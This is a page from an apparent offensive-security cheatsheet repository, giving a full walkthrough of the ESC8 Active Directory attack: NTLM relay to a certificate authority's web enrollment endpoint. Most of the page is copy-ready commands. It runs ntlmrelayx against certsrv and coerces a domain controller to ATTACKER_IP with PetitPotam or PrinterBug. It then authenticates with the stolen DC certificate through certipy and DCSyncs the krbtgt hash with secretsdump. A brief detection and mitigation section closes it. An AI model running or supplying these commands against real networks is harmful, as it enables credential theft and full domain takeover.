repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-33-esc8-ntlm-relay-to-adcs-http-endpoint.mdMarkdown136 lines5.4 KiBsource raw download

title: "Attack #33 โ€” ESC8 NTLM Relay to ADCS HTTP Endpoint" description: "ESC8 is one of the most impactful ADCS attacks โ€” it enables a full domain compromise from unauthenticated or low-privileged access by combining NTLMโ€ฆ" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs", "credential-access", "ntlm", "relay"] tools: ["Impacket", "Certipy"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Four/๐ŸŸข Attack #33 โ€” ESC8 NTLM Relay to ADCS HTTP Endpoint.md"#

๐ŸŸข Attack #33 โ€” ESC8: NTLM Relay to ADCS HTTP Endpoint#


๐Ÿ“– How It Works#

ESC8 is one of the most impactful ADCS attacks โ€” it enables a full domain compromise from unauthenticated or low-privileged access by combining NTLM coercion (PetitPotam, PrinterBug) with NTLM relay to the CA's Web Enrollment HTTP endpoint. The attacker coerces a Domain Controller to authenticate, relays that authentication to the CA's HTTP enrollment service, and requests a certificate as the DC machine account โ€” then uses that certificate to DCSync.

Attack Chain#

1. Start ntlmrelayx targeting the CA's HTTP enrollment endpoint
2. Coerce DC to authenticate to your listener (PetitPotam/PrinterBug)
3. ntlmrelayx relays DC's NTLM auth to the CA web enrollment
4. CA issues a certificate for the DC machine account
5. Use the DC certificate to authenticate and DCSync

โš™๏ธ Prerequisites#

Requirement Detail
CA Web Enrollment enabled (HTTP) /certsrv/ endpoint accessible over HTTP
No EPA (Extended Protection for Auth) EPA must be disabled for relay to work
Coercion capability PetitPotam, PrinterBug, DFSCoerce, etc.
Network position Can reach both DC and CA

๐Ÿ› ๏ธ Tools#

Tool Platform Notes
ntlmrelayx.py Linux --adcs flag for certificate enrollment relay
PetitPotam Linux Coerce DC authentication
printerbug.py Linux Alternative coercion
Certipy Linux Relay module for ADCS
Coercer Linux Multi-protocol coercion

๐Ÿ’ป Full Commands#

๐Ÿ”ด Full ESC8 Attack#

# โ”€โ”€ Step 1: Start ntlmrelayx targeting CA web enrollment โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# โ”€โ”€ Step 2: Coerce DC authentication to your listener โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# PetitPotam (unauthenticated on unpatched):
python3 PetitPotam.py ATTACKER_IP DC01.corp.local

# Or with credentials:
python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
  ATTACKER_IP DC01.corp.local

# Or PrinterBug:
printerbug.py corp.local/low_user:'Password1'@DC01.corp.local ATTACKER_IP

# โ”€โ”€ ntlmrelayx output: โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# [*] SMBD: Received connection from 10.10.10.10
# [*] Relaying to http://CA01.corp.local/certsrv/certfnsh.asp
# [*] Certificate successfully enrolled!
# [*] Base64 certificate: <long_base64_string>

# โ”€โ”€ Step 3: Save the base64 certificate โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
echo "<base64_cert>" | base64 -d > dc01.pfx

# โ”€โ”€ Step 4: Authenticate with the DC certificate โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
# Returns DC01$ NT hash

# โ”€โ”€ Step 5: DCSync with DC machine hash โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
secretsdump.py corp.local/'DC01$'@DC01.corp.local \
  -hashes :<DC01_NTHASH> -just-dc-user krbtgt

๐Ÿ”ด Using Certipy Relay Module#

# โ”€โ”€ Certipy relay (alternative to ntlmrelayx) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
certipy relay -ca CA01.corp.local -template DomainController

# Then coerce with PetitPotam as above

๐ŸŽฏ OPSEC Tips#


๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4886 Security Log (CA) Certificate enrollment for DC machine account from unexpected source
4768 Security Log (DC) PKINIT TGT request from unexpected host
4624 Security Log (DC) NTLM logon from unexpected source to CA

๐Ÿ”— Attack Chain Context#

[ESC8] โ”€โ”€โ†’ NTLM Relay to CA โ†’ DC certificate โ†’ DCSync โ†’ domain compromise
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ–จ๏ธ Coerce: PetitPotam (#41) / PrinterBug (#42)
         โ”œโ”€โ”€โ†’ ๐Ÿฉธ DC cert โ†’ DCSync โ†’ KRBTGT โ†’ Golden Ticket
         โ”œโ”€โ”€โ†’ ๐Ÿ’ฅ Potentially unauthenticated full domain compromise
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: enable EPA, enforce HTTPS, disable web enrollment

โœ… Attack #33 โ€” ESC8 complete.